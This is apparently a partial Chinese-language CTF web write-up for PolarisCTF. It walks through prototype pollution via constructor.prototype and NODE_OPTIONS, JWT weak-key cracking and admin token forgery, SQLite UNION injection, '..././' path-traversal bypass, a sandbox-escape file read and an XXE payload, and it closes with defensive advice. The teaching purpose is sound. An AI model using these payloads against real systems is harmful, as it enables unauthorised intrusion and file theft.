Polarisctf-web-wp(部分)
字数 1928
更新时间 2026-04-02 14:02:41

JavaScript与Python原型链污染、JWT、SQL注入、沙箱绕过与文件读取漏洞综合教学

1. 原型链污染攻击详解

1.1 JavaScript原型链污染

基本概念

原型链污染是一种针对JavaScript对象继承机制的漏洞,攻击者通过污染对象的原型(prototype),影响所有基于该原型创建的对象。

常见污染点

  1. __proto__属性:直接访问原型链
  2. constructor.prototype:通过构造函数访问原型
  3. 其他原型访问方式

示例漏洞分析

function merge(target, source, res) {
  for (let key in source) {
    if (key === '__proto__') {  // 仅过滤了__proto__
      if (res) {
        res.send('get out!');
        return;
      }
      continue;
    } 
    
    if (source[key] instanceof Object && key in target) {
      merge(target[key], source[key], res);
    } else {
      target[key] = source[key];
    }
  }
}

绕过__proto__过滤的方法

__proto__被过滤时,可使用constructor.prototype进行绕过:

// 污染payload
{
  "constructor": {
    "prototype": {
      "NODE_OPTIONS": "-r /flag"  // 注入环境变量
    }
  }
}

环境变量注入利用

在Node.js环境中,通过污染NODE_OPTIONS环境变量实现代码执行:

  • -r参数:在启动时预加载指定模块
  • 利用方式:NODE_OPTIONS="-r /flag"

1.2 Python原型链污染

Flask框架中的污染点

在Python/Flask应用中,可通过污染应用配置读取任意文件:

@app.route('/read')
def read():
    return open(instance.config.filename).read()  # config.filename可控

利用payload

{"config": {"filename": "/flag"}}

2. JWT(JSON Web Token)安全漏洞

2.1 JWT结构分析

JWT由三部分组成:

  1. Header(头部)
  2. Payload(负载)
  3. Signature(签名)

2.2 密钥爆破攻击

当JWT使用弱密钥时,可通过暴力破解获取密钥:

攻击步骤

  1. 捕获包含JWT的请求
  2. 使用常见弱密钥字典进行爆破
  3. 示例弱密钥:cdefsecretkey

工具使用

  • jwt.io:在线解码和构造JWT
  • hashcat:离线爆破工具
  • jwt-tool:专用JWT测试工具

2.3 权限提升

爆破获取密钥后,可伪造高权限token:

  1. 修改payload中的role字段为admin
  2. 使用获取的密钥重新签名
  3. 使用伪造的token访问管理员功能

3. SQL注入漏洞深入分析

3.1 SQLite数据库注入

信息收集payload

# 获取所有表名
-1' UNION SELECT 1, group_concat(tbl_name), 3 FROM sqlite_master WHERE type='table'--

# 获取管理员用户信息
-1' UNION SELECT uid, username, role FROM users WHERE role='admin'--

SQLite特殊函数

  • group_concat():将多行结果合并为单个字符串
  • sqlite_master:系统表,包含所有表结构信息

3.2 二次注入与文件读取

获取管理员权限后,可能存在文件读取漏洞:

路径遍历绕过

使用双写绕过过滤:

URL/api/admin?action=backup&file=..././..././..././flag
  • ../被过滤时,使用..././绕过
  • 原理:过滤函数可能只替换一次../

4. JavaScript沙箱绕过技术

4.1 BunEdge运行时环境分析

BunEdge是一个JavaScript运行时,通过C++扩展暴露系统调用。

运行时对象探测

// 探测__runtime对象结构
Object.getOwnPropertyNames(__runtime)
// 可能返回:['_0x72656164', '_0x6c697374', ...]

绕过策略

  1. 类型混淆:利用JavaScript动态类型特性
  2. 内部函数调用:直接调用底层C++暴露的函数
  3. 字节数组绕过:避免字符串检测

4.2 文件读取payload

export default {
  async fetch(req) {
    const symbols = __runtime._internal.lib.symbols;
    const readFn = symbols._0x72656164;  // 对应"read"函数
    
    // 使用Uint8Array绕过字符串检测
    const path = new TextEncoder().encode("/flag");
    const flag = readFn(path);
    return new Response(flag);
  }
}

5. Python沙箱绕过与路径穿越

5.1 沙箱隔离机制

出题人使用proot创建虚拟环境:

  • proot:用户空间中的chroot替代品
  • 限制:run.py运行在虚拟环境中
  • 突破点:launcher.py运行在宿主机

5.2 路径穿越漏洞

# 漏洞代码
launcher_path = os.path.join(BASE_DIR, 'launcher.py')
# 通过filename参数控制target_file
target_file = os.path.join('/app/uploads', filename)

# 利用子进程执行
proc = subprocess.run(
    [sys.executable, launcher_path, target_file],
    capture_output=True,
    text=True,
    timeout=5,
    cwd=BASE_DIR
)

利用步骤

  1. 上传恶意Python文件
  2. 通过路径穿越执行宿主机文件
  3. 查找解释器路径:/usr/local/lib/python3.10/site-packages
  4. 读取flag文件

6. XXE(XML外部实体注入)

6.1 基本payload构造

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://127.0.0.1/flag.php">
]>
<root>
  <value>&xxe;</value>
</root>

6.2 利用场景

  • 留言板系统
  • XML数据解析处
  • 文件上传功能(如DOCX、XLSX)

7. 自动化工具辅助测试

7.1 目录扫描

  • 工具:dirsearch、gobuster、ffuf
  • 使用场景:发现隐藏目录和文件

7.2 SQL注入检测

  • 工具:sqlmap
  • 关键参数:--dbms=sqlite指定数据库类型

8. 防御建议

8.1 原型链污染防御

  1. 使用Object.create(null)创建无原型对象
  2. 避免递归合并不可信对象
  3. 使用Object.freeze()冻结原型

8.2 JWT安全

  1. 使用强密钥(32字节以上)
  2. 定期轮换密钥
  3. 验证token签名和过期时间

8.3 SQL注入防御

  1. 使用参数化查询
  2. 最小权限原则
  3. 输入验证和过滤

8.4 文件操作安全

  1. 规范化文件路径
  2. 白名单验证文件类型
  3. 避免用户控制文件路径

8.5 XXE防御

  1. 禁用外部实体解析
  2. 使用JSON替代XML
  3. 输入验证和过滤

9. 总结

本文涵盖了多种Web安全漏洞的利用技术和防御方法。在实际测试中,需要根据具体场景选择合适的攻击向量,并综合运用多种技术。安全测试应遵循合法授权原则,仅在授权范围内进行测试。

相似文章
相似文章
 全屏